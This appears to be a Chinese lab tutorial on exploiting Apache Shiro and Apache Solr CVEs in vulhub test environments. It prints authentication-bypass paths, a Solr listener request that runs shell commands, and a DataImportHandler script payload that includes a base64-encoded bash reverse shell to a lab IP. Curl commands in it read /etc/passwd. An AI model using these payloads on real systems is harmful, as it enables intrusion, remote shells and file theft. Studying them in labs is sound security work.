目录
[案例一:Apache Shiro-组件框架安全](#案例一:Apache Shiro-组件框架安全)
[shiro反序列化 cve_2016_4437](#shiro反序列化 cve_2016_4437)
[案例二:Apache Solr-组件框架安全](#案例二:Apache Solr-组件框架安全)
[远程命令执行 RCE(CVE-2017-12629)](#远程命令执行 RCE(CVE-2017-12629))
[任意文件读取 AND 命令执行(CVE-2019-17558)](#任意文件读取 AND 命令执行(CVE-2019-17558))
思维导图
![](https://file.jishuzhan.net/article/1781806075792592897/d057df000791449d9f56174b1fa79b80.webp)
![](https://file.jishuzhan.net/article/1781806075792592897/9ab3739f30558949a6447828afce6573.webp)
案例一:Apache Shiro-组件框架安全
阿里云漏洞库: https://avd.aliyun.com/search?q=shiro
常见漏洞
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
Apache Shiro < 1.4.2 cookie oracle padding 漏洞 【CVE-2019-12442】
Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】
Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】
Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】
Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】
Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理
判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段
![](https://file.jishuzhan.net/article/1781806075792592897/14dd4177565cf2b395283bf8143ccec7.webp)
shiro反序列化 cve_2016_4437
靶场环境:
![](https://file.jishuzhan.net/article/1781806075792592897/9e9ad5668cf256603e8af7471512ccba.webp)
反序列化可以直接利用工具
![](https://file.jishuzhan.net/article/1781806075792592897/fc735920aed8bb3b8a13369963e5471f.webp)
执行效果
![](https://file.jishuzhan.net/article/1781806075792592897/ffe58143250111afd27829411a0c0406.webp)
命令执行
![](https://file.jishuzhan.net/article/1781806075792592897/e5ad5750e14f504c0fbb926f0be6ef98.webp)
CVE-2020-17523
影响版本:Apache Shiro < 1.7.1
靶场环境: https://github.com/jweny/shiro-cve-2020-17523
搭建起来
![](https://file.jishuzhan.net/article/1781806075792592897/ca09311b330adecdf6c3926c016d9a0c.webp)
访问/admin/xx会自动跳转到login,意思时不登陆不能访问
![](https://file.jishuzhan.net/article/1781806075792592897/49d14732383ef80e18984e876a47bd4e.webp)
但是访问/admin/%20会自动绕过登录
![](https://file.jishuzhan.net/article/1781806075792592897/6c020dfedfe6c4deb6d7c85003c373b0.webp)
查看版本的位置
CVE-2020-1957
影响范围:Apache Shiro < 1.5.3
靶场环境: https://vulhub.org/#/environments/shiro/CVE-2020-1957/
启动起来以后需要登录
访问admin时会自动跳转到login.html
![](https://file.jishuzhan.net/article/1781806075792592897/376fbf209f1ad921e7850037db04f72b.webp)
Poc
/xxx/..;/admin/
直接绕过登录限制,直接登录admin
![](https://file.jishuzhan.net/article/1781806075792592897/19e58154a00483a735f9d5fe81b890ab.webp)
案例二:Apache Solr-组件框架安全
Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。
漏洞库: https://avd.aliyun.com/search?q=solr
常见漏洞
远程命令执行 RCE(CVE-2017-12629)
远程命令执行 XXE(CVE-2017-12629)
任意文件读取 AND 命令执行(CVE-2019-17558)
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF (CVE-2021-27905)
远程命令执行 RCE(CVE-2017-12629)
solr一般都有这样的配置页面
![](https://file.jishuzhan.net/article/1781806075792592897/2f5de1b7287a8d04f03574b5db94f9c3.webp)
访问抓包发送到repeater,设置一个listener
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
然后设置包update,触发刚才的操作listener
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
![](https://file.jishuzhan.net/article/1781806075792592897/7039ea27808b5852d241bdeeb919a4c3.webp)
进入docker中查看
![](https://file.jishuzhan.net/article/1781806075792592897/3cbcdce67805c77f38da9ca3595d6fe9.webp)
任意文件读取 AND 命令执行(CVE-2019-17558)
靶场环境: Vulhub - Docker-Compose file for vulnerability environment
脚本地址:https://github.com/jas502n/solr_rce
需要用python2执行,vulfocus上靶场可能有问题了,无法执行,执行效果如图
另一款交互式脚本
python
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py
![](https://file.jishuzhan.net/article/1781806075792592897/e3c381cfd7fc21c5a08840af395b50f2.webp)
远程命令执行漏洞(CVE-2019-0193)
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
启动该环境除了正常步骤以外,还需要
python
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db -force
![](https://file.jishuzhan.net/article/1781806075792592897/47ed3178a7885a88b1f818e35f938ce5.webp)
影响版本:Apache Solr < 8.2.0 版本
该漏洞真实环境要利用一般得先登录
利用过程
![](https://file.jishuzhan.net/article/1781806075792592897/f30507f273a994cc8bfb4a1e4c5f8e69.webp)
创建文件
python
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
![](https://file.jishuzhan.net/article/1781806075792592897/58e967d3692f719bb6e7fd2658c3ab04.webp)
把代码换成反弹shell的代码
python
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}");}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
开启监听 成功反弹shell
![](https://file.jishuzhan.net/article/1781806075792592897/318e5ebf0203d6ef7b5797d71f1c8d55.webp)
文件读取与SSRF漏洞
靶场位置:https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/
首先先获取数据库名
python
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
获取数据库名
![](https://file.jishuzhan.net/article/1781806075792592897/8a738c2d31d5a30477dd09615a1e13b8.webp)
触发访问
python
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://your-ip:8983/solr/demo/config'
![](https://file.jishuzhan.net/article/1781806075792592897/322787ee30b24ac44401bc8182b5900a.webp)
读取任意文件
python
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
可以利用ssrf探测内网做信息收集,这里用dnslog做简单的测试
![](https://file.jishuzhan.net/article/1781806075792592897/7a492f8efd1cec10636b2b997177f4db.webp)
![](https://file.jishuzhan.net/article/1781806075792592897/4ec2fe3aa22c97c67380686fc8abbcde.webp)